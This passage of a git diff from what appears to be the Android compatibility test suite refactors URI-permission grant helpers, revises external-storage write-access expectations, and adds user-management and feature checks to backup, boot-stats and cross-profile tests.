 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 
 import static junit.framework.Assert.fail;
 
@@ -85,7 +86,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, mode, false);
+        grantClipUriPermissionViaActivities(subClip, mode);
         ReceiveUriActivity.waitForStart();
 
         assertAccess(uri, 0);
@@ -99,7 +100,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, mode, false);
+        grantClipUriPermissionViaActivity(sub2Clip, mode);
         ReceiveUriActivity.waitForNewIntent();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
 
 import static junit.framework.Assert.fail;
 
@@ -79,7 +79,7 @@
         // --------------------------------
 
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, mode, true);
+        grantClipUriPermissionViaService(subClip, mode);
         ReceiveUriService.waitForStart();
 
         int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
 
         // Send another Intent to it.
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, mode, true);
+        grantClipUriPermissionViaService(sub2Clip, mode);
         ReceiveUriService.waitForStart();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
 import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
 
@@ -104,8 +104,8 @@
 
         // Now, let's grant ourselves some access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
 
         // Launch again giving ourselves persistable read and write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
@@ -204,7 +204,7 @@
 
         // Now give ourselves exact write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import java.util.Objects;
+
 public class Utils {
     private static Context getContext() {
         return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
         getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 
-    static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+    static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+    }
+
+    static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+    }
+
+    static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+    }
+
+    private static void grantClipUriPermission(ClipData clip, int mode, String action) {
         Intent grantIntent = new Intent();
         if (clip.getItemCount() == 1) {
             grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
         }
         grantIntent.addFlags(mode);
         grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
+                Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+                        : ReceiveUriActivity.class);
         Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+        intent.setAction(action);
         intent.putExtra(EXTRA_INTENT, grantIntent);
         call(intent);
     }
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index c16d7f3..827b440 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -18,7 +18,6 @@
 
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.TAG;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoWriteAccess;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadOnlyAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildCommonChildDirs;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildProbeFile;
@@ -220,9 +219,10 @@
 
     /**
      * Verify that we have write access in our package-specific directories on
-     * secondary storage devices, but it becomes read-only access above them.
+     * secondary storage devices, and it still has read-write access above them (except
+     * /Android/[data|obb] dirs).
      */
-    public void testSecondaryWalkingUpTreeReadOnly() throws Exception {
+    public void testSecondaryWalkingUpTreeReadWrite() throws Exception {
         final List<File> paths = getSecondaryPackageSpecificPaths(getContext());
         final String packageName = getContext().getPackageName();
 
@@ -242,11 +242,18 @@
             // Walk all the way up to root
             while (path != null) {
                 if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
-                    assertDirReadOnlyAccess(path);
+                    // /Android/data and /Android/obb is not write accessible on any volume
+                    // (/storage/emulated/<user_id>/ or /storage/1234-ABCD/)
+                    if (path.getAbsolutePath().endsWith("/Android/data")
+                            || path.getAbsolutePath().endsWith("/Android/obb")) {
+                        assertDirNoWriteAccess(path);
+                    } else {
+                        assertDirReadWriteAccess(path);
+                    }
                 } else {
                     assertDirNoWriteAccess(path);
+                    assertDirNoWriteAccess(buildCommonChildDirs(path));
                 }
-                assertDirNoWriteAccess(buildCommonChildDirs(path));
                 path = path.getParentFile();
             }
         }
@@ -291,11 +298,11 @@
     }
 
     /**
-     * Secondary external storage mount points must always be read-only, per
+     * Secondary external storage mount points must always be read-only (unless mounted), per
      * CDD, <em>except</em> for the package specific directories tested by
      * {@link CommonExternalStorageTest#testAllPackageDirsWritable()}.
      */
-    public void testSecondaryMountPointsNotWritable() throws Exception {
+    public void testSecondaryMountPoints() throws Exception {
         // Probe path could be /storage/emulated/0 or /storage/1234-5678
         final File probe = buildProbeFile(Environment.getExternalStorageDirectory());
         assertTrue(probe.createNewFile());
@@ -313,11 +320,20 @@
             if (testProbe.exists() || testUserProbe.exists()) {
                 Log.d(TAG, "Primary external mountpoint " + path);
             } else {
-                // This mountpoint is not primary external storage; we must
-                // not be able to write.
                 Log.d(TAG, "Other mountpoint " + path);
-                assertDirNoWriteAccess(path);
-                assertDirNoWriteAccess(userPath);
+                if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
+                    if (path.getAbsolutePath().endsWith("/Android/data")
+                            || path.getAbsolutePath().endsWith("/Android/obb")) {
+                        assertDirNoWriteAccess(path);
+                    } else {
+                        assertDirReadWriteAccess(path);
+                        assertDirReadWriteAccess(buildCommonChildDirs(path));
+                    }
+                }
+                else {
+                    assertDirNoWriteAccess(path);
+                    assertDirNoWriteAccess(userPath);
+                }
             }
         }
     }
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 3e7c1da..2f4164f 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -23,6 +23,8 @@
 import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import com.android.tradefed.log.LogUtil.CLog;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -40,6 +42,12 @@
 
     private Optional<Integer> mProfileUserId = Optional.empty();
 
+    /**
+     * User ID for the system user.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_SYSTEM = 0;
+
     /** Create the profile and start it. */
     @Before
     @Override
@@ -79,11 +87,21 @@
 
         assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
 
-        assertTrue(getDevice().removeUser(profileUserId));
+        removeUser(profileUserId);
         mProfileUserId = Optional.empty();
 
         CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
                 BACKUP_DEACTIVATION_TIMEOUT_SECONDS,
                 () -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
     }
+
+    private void removeUser(int userId) throws Exception  {
+        if (getDevice().listUsers().contains(userId) && userId != USER_SYSTEM) {
+            // Don't log output, as tests sometimes set no debug user restriction, which
+            // causes this to fail, we should still continue and remove the user.
+            CLog.d("Stopping and removing user " + userId);
+            getDevice().stopUser(userId, true, true);
+            assertTrue("Couldn't remove user", getDevice().removeUser(userId));
+        }
+    }
 }
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index fa86bcf..3681c59 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -17,6 +17,7 @@
     defaults: ["cts_defaults"],
     // Only compile source java files in this apk.
     srcs: ["src/**/*.java"],
+    static_libs: ["framework-protos"],
     libs: [
         "cts-tradefed",
         "tradefed",
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 47789f1..9bcf2a1 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -18,11 +18,13 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
 import com.android.os.AtomsProto.Atom;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IDeviceTest;
 
+import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -53,6 +55,11 @@
                 + " in Android 8.0. Current API Level " + apiLevel,
                 apiLevel < 26 /* Build.VERSION_CODES.O */);
 
+        if (apiLevel <= 29 /* Build.VERSION_CODES.Q */) {
+            testBootStatsForApiLevel29AndBelow();
+            return;
+        }
+
         // Clear buffer to make it easier to find new logs
         getDevice().executeShellCommand("logcat --buffer=events --clear");
 
@@ -109,6 +116,69 @@
         return value;
     }
 
+    /** Need to keep the old version of test for api 27, 28, 29 as new version 
+        of tests can be used on devices with old Android versions */
+    private void testBootStatsForApiLevel29AndBelow() throws Exception {
+        long startTime = System.currentTimeMillis();
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --buffer=events --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+        int upperBoundSeconds = (int) ((System.currentTimeMillis() - startTime) / 1000);
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        // find logs and parse them
+        // ex: sysui_multi_action: [757,804,799,ota_boot_complete,801,85,802,1]
+        // ex: 757,804,799,counter_name,801,bucket_value,802,increment_value
+        final String bucketTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_BUCKET);
+        final String counterNameTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_NAME);
+        final String counterNamePattern = counterNameTag + ",boot_complete,";
+        final String multiActionPattern = "sysui_multi_action: [";
+
+        final String log = getDevice().executeShellCommand("logcat --buffer=events -d");
+
+        int counterNameIndex = log.indexOf(counterNamePattern);
+        Assert.assertTrue("did not find boot logs", counterNameIndex != -1);
+
+        int multiLogStart = log.lastIndexOf(multiActionPattern, counterNameIndex);
+        multiLogStart += multiActionPattern.length();
+        int multiLogEnd = log.indexOf("]", multiLogStart);
+        String[] multiLogDataStrings = log.substring(multiLogStart, multiLogEnd).split(",");
+
+        boolean foundBucket = false;
+        int bootTime = 0;
+        for (int i = 0; i < multiLogDataStrings.length; i += 2) {
+            if (bucketTag.equals(multiLogDataStrings[i])) {
+                foundBucket = true;
+                Assert.assertTrue("histogram data was truncated",
+                        (i + 1) < multiLogDataStrings.length);
+                bootTime = Integer.valueOf(multiLogDataStrings[i + 1]);
+            }
+        }
+        Assert.assertTrue("log line did not contain a tag " + bucketTag, foundBucket);
+        Assert.assertTrue("reported boot time must be less than observed boot time",
+                bootTime < upperBoundSeconds);
+        Assert.assertTrue("reported boot time must be non-zero", bootTime > 0);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
     @Override
     public void setDevice(ITestDevice device) {
         mDevice = device;
diff --git a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
index f02e901..0e473f2 100644
--- a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
@@ -30,6 +30,7 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 
@@ -73,7 +74,10 @@
         assumeTrue(mSupportsMultiUser);
 
         mParentUserId = getDevice().getCurrentUser();
-        assertEquals(USER_SYSTEM, mParentUserId);
+        // Automotive uses non-system user as current user always
+        if (!getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+            assertEquals(USER_SYSTEM, mParentUserId);
+        }
 
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         mApkFile = buildHelper.getTestFile(TEST_WITH_PERMISSION_APK);
@@ -99,6 +103,7 @@
     @Test
     public void testBindServiceAsUser_differentUser_bindsServiceToCorrectUser()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -126,6 +131,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossUsersPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -153,6 +159,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossUsersPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -180,6 +187,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -207,6 +215,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesPermission_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -234,6 +243,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesAppOp_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -261,6 +271,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesAppOp_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -375,6 +386,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_withNoPermissions_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -402,9 +414,8 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_reportsMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -444,9 +455,7 @@
     @Test
     public void testBindServiceAsUser_differentProfileGroup_doesNotReportMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
         int userInDifferentProfileGroup = createUser();
         getDevice().startUser(userInDifferentProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInDifferentProfileGroup));
@@ -483,9 +492,8 @@
     @Test
     public void testBindServiceAsUser_sameUser_doesNotReportMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
+
         mTestArgs.put("testUser", Integer.toString(mParentUserId));
 
         assertMetricsNotLogged(getDevice(), () -> {
@@ -506,6 +514,7 @@
     @Test
     public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossProfilesPermission_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -533,6 +542,7 @@
     @Test
     public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossUsersPermission_createsContext()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -556,4 +566,12 @@
                 /* timeout= */60L,
                 TimeUnit.SECONDS);
     }
+
+    boolean supportsManagedUsers() {
+        try {
+            return getDevice().hasFeature("feature:android.software.managed_users");
+        } catch (DeviceNotAvailableException e) {
+            return false;
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index 575dc04..b579e97 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- Device admin/owner requires being run in system user -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <!-- Push the list of public APIs to device -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
similarity index 65%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index d957080..a33eec5 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,25 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "CtsModifyQuietModeEnabledApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "ub-uiautomator",
+    ],
+    min_sdk_version: "29",
+    // tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
new file mode 100644
index 0000000..b371d96
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.modifyquietmodeenabledapp">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
+
+    <uses-permission android:name="android.permission.MODIFY_QUIET_MODE"/>
+
+    <application android:crossProfile="true">
+        <receiver android:name=".ModifyQuietModeEnabledAppReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.modifyquietmodeenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
new file mode 100644
index 0000000..9647f11
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 168445
+alexkershaw@google.com
+kholoudm@google.com
+pbdr@google.com
